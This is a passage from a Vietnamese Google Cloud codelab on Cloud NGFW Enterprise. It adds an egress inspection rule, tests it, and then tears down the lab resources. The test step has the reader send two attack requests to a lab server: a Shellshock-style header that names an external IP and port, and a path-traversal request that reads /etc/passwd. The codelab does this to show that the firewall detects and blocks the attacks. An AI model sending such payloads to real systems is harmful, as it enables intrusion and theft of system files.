jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

Tiếp tục kiểm tra lưu lượng truy cập Internet (không bắt buộc) hoặc đóng phiên SSH và chuyển sang chương tiếp theo để xem các bước dọn dẹp.

[Không bắt buộc] Kiểm tra lưu lượng truy cập Internet

Như đã xác minh trong phần trước, các luồng được kiểm tra cho đến nay là luồng nội bộ trong mạng con/VPC (Đông – Tây) và lưu lượng truy cập đến từ Internet (Bắc – Nam vào). Bạn cũng có thể định cấu hình Cloud NGFW Enterprise để kiểm tra tất cả lưu lượng truy cập internet (lưu lượng truy cập đi theo hướng Bắc – Nam) bằng cách tạo một quy tắc lưu lượng truy cập đi mới bằng Cloud Shell:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Chuyển về VM của máy khách và gửi lại các cuộc tấn công có mức độ nghiêm trọng cao đến IP máy chủ bên ngoài:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

Kết quả đầu ra dự kiến:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

Chuyển sang thẻ Mối đe doạ trên Cloud Console để xác minh nhật ký (bạn có thể cần làm mới vài lần). Các cuộc tấn công lẽ ra phải được xác định và ghi lại lại, nhưng giờ đây, IP nguồn là IP nội bộ vì một quy tắc truyền dữ liệu ra ngoài đang được kích hoạt trước:

36f8edf264dcddcd.png

Đóng phiên SSH và chuyển sang phần tiếp theo để xem các bước dọn dẹp.

8. Các bước dọn dẹp

Dọn dẹp các thành phần doanh nghiệp của NGFW trên đám mây

Liệt kê các mối liên kết hiện có của Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations list

Xoá mối liên kết Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

Liệt kê các điểm cuối Cloud NGFW Enterprise hiện có:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Xoá điểm cuối Cloud NGFW Enterprise. Quá trình này có thể mất khoảng 20 phút:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

Xác nhận rằng Cloud NGFW Enterprise đã bị xoá bằng cách chạy lệnh bên dưới:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Xoá Nhóm hồ sơ bảo mật và Hồ sơ ngăn chặn mối đe doạ:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

Dọn dẹp chế độ thiết lập cơ bản

Chuyển sang bước tiếp theo nếu bạn muốn xoá các tài nguyên cơ sở.

Xác định các biến môi trường nếu cần. Trong Cloud Shell, hãy xoá các thành phần Network Load Balancer:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

Xoá các phiên bản:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Nếu muốn, bạn có thể thực hiện các bước bên dưới nếu vai trò tagAdmin và tagUsers đã thay đổi:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Xoá khoá và giá trị thẻ:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Xoá Chính sách mạng của Tường lửa đám mây và mối liên kết:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Xoá Cloud Router và Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Xoá địa chỉ IP dành riêng:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cuối cùng, hãy xoá mạng con và mạng VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. Xin chúc mừng!

Xin chúc mừng, bạn đã hoàn tất thành công lớp học lập trình Cloud NGFW Enterprise để kiểm tra lưu lượng truy cập theo hướng Đông – Tây và Bắc – Nam.